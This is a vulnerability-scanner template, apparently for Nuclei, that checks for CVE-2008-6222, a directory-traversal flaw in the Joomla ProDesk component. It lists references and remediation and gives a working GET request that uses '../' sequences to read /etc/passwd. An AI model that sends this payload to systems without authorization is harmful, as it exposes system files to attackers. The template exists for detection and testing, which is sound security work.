id: CVE-2008-6222

info:
  name: Joomla! ProDesk 1.0/1.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, sensitive information disclosure, and potential remote code execution.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of Joomla! ProDesk to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6980
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6222
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46356
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6222
    cwe-id: CWE-22
    epss-score: 0.11497
    epss-percentile: 0.95465
    cpe: cpe:2.3:a:joomlashowroom:pro_desk_support_center:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlashowroom
    product: pro_desk_support_center
  tags: cve,cve2008,joomla,lfi,edb,joomlashowroom,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200df821dd3c7d69dccb1174c02f30ab6c10ba426754ea7263ca940de94eb4c1e4022100c813f7111877c7a1a888c6435bfde853a089d65d655192bc114f6c695d894f42:922c64590222798bb761d5b6d8e72950